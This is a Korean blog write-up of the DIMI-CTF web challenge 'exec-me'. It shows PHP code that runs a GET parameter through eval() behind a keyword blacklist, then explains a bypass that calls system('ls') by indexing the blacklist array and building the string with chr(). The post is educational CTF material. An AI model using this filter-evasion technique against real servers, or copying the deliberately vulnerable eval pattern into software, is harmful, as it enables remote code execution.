이 영역을 누르면 첫 페이지로 이동
caputdraconis 블로그의 첫 페이지로 이동

caputdraconis

페이지 맨 위로 올라가기

caputdraconis

네트워크 관점에서의 클라우드 컴퓨팅을 공부하는 중입니다 :)

DIMI-CTF exec-me

  • 2020.11.08 18:18
  • Security/WebHacking
글 작성자: caputdraconis
반응형
<?php  
    if(isset($_GET['source'])){ 
        highlight_file(__FILE__); 
        exit; 
    } 

    $filter = ['system', 'exec', '`', '_', '\'', '"', 'file', 'open', 'read', 'eval', 'pass', 'include', 'require', '=', 'glob', 'dir', '/']; 
    $exec = $_GET['exec'];
 
    for($i = 0; $i < count($filter); $i++){ 
        if(stristr($exec, $filter[$i])){ 
            die("Filtered"); 
        } 
    } 

    eval($exec); 

?> 

<a href="?source"> View Source </a> 

 

문제 이름을 보니 실행시키는게 주 목적인 문제인거 같다. 코드를 보니 역시나 필터링이 stristr 함수를 이용해 이루어지고 있다.

stristr 함수는 첫번째 인자로 주어진 문자열 속에서 두번째 인자로 주어진 문자열이 존재하는지 찾는 함수다. 

www.w3schools.com/php/func_string_stristr.asp

 

PHP stristr() Function

PHP stristr() Function ❮ PHP String Reference Example Find the first occurrence of "world" inside "Hello world!", and return the rest of the string: Try it Yourself » Definition and Usage The stristr() func

www.w3schools.com

위 사이트에서 더 자세하게 확인할 수 있다.

 

 

$filter에 저장된 배열에는 필터링할 대상들이 저장되어 있다. 씨 무슨 다 안된대,,,

 

저 필터링을 무사히 벗어나 exec라는 이름으로 주어진 파라미터값을 eval 함수로 실행시켰을 때!? exec이 되면 되는거겠찌...?

 

 

 

사용한 익스플로잇 방법은 아래와 같다.

$filter[0](chr(108).chr(115));

$filter[0]은 $filter 배열에 저장된 데이터들 중 첫번째 데이터를 의미하므로 'system' 이 된다.

(와 )는 필터링 목록에 들어가있지 않으므로 그대로 들어간다.

chr() 함수는 안에 들어간 10진수가 가리키는 아스키코드를 문자로 변환해주는 함수다. 

chr(108)은 'l'로 바뀌고, chr(115)는 's'로 바뀐다. 'l'과 's'는 문자열을 합쳐주는 . 연산자로 인해 'ls'로 된다.

결국 위의 코드는 'system'('ls');로 바뀌게 된다. php의 특성상 'system'은 system과 똑같게 해석한다.

 

그러므로 위의 코드를 exec이라는 이름의 파라미터 값으로 넣어주면 eval() 함수로 실행된다.

 

 

위 코드대로 입력을 해줘도 되지만 URL 인코딩을 한 후 입력해주는게 더 바람직한 방법일거 같다...!

반응형

댓글

이 글 공유하기

  • 구독하기

    구독하기

  • 카카오톡

    카카오톡

  • 라인

    라인

  • 트위터

    트위터

  • Facebook

    Facebook

  • 카카오스토리

    카카오스토리

  • 밴드

    밴드

  • 네이버 블로그

    네이버 블로그

  • Pocket

    Pocket

  • Evernote

    Evernote

다른 글

  • [root-me.org - Web-Server] HTTP - POST

    [root-me.org - Web-Server] HTTP - POST

    2020.09.15
  • [root-me.org - Web-Server] HTTP - Cookies

    [root-me.org - Web-Server] HTTP - Cookies

    2020.09.15
  • [root-me.org - Web-Server] HTTP - User-agent

    [root-me.org - Web-Server] HTTP - User-agent

    2020.09.15
  • [root-me.org - Web-Server] HTTP - Open redirect

    [root-me.org - Web-Server] HTTP - Open redirect

    2020.09.15
다른 글 더 둘러보기

정보

caputdraconis 블로그의 첫 페이지로 이동

caputdraconis

  • caputdraconis의 첫 페이지로 이동

검색

메뉴

    카테고리

    • 분류 전체보기 (168)
      • Cloud (3)
      • Computer Network (12)
      • Database (2)
      • Terraform (2)
      • 🥚고리즘 (13)
      • 겅부겅부🙃 (10)
        • Naver CS50 코칭스터디 (2)
        • Machine Learning (1)
        • Computing System (6)
      • 언어&프레임워크 (20)
        • Python (4)
        • Django (10)
        • Node JS (1)
        • C++ (2)
        • Java (1)
        • Flutter (2)
      • Security (76)
        • WebHacking Study (11)
        • 지옥방 스터디 (22)
        • 여름방학 스터디 (2)
        • PWN Study (6)
        • SUA Reversing Study (3)
        • PWN (3)
        • WebHacking (20)
        • Reversing (4)
      • 알고 있으면 도움되지 않을까,,? (23)
      • 일상다반사 (1)
      • 근황 정리 (1)
      • 42 Seoul (1)
        • Setting (1)

    최근 글

    인기 글

    댓글

    공지사항

    아카이브

    태그

    • old-16
    • 드림핵
    • 파이썬기초
    • 리스트함수
    • 파이썬함수
    • 파이썬
    • Python
    • 웹해킹.kr

    나의 외부 링크

    • Github
    • solved.ac
    • caputdraconis@kakao.com

    정보

    caputdraconis의 caputdraconis

    caputdraconis

    caputdraconis

    블로그 구독하기

    • 구독하기
    • RSS 피드

    방문자

    • 전체 방문자
    • 오늘
    • 어제

    티스토리

    • 티스토리 홈
    • 이 블로그 관리하기
    • 글쓰기
    Powered by Tistory / Kakao. Copyright © caputdraconis.

    티스토리툴바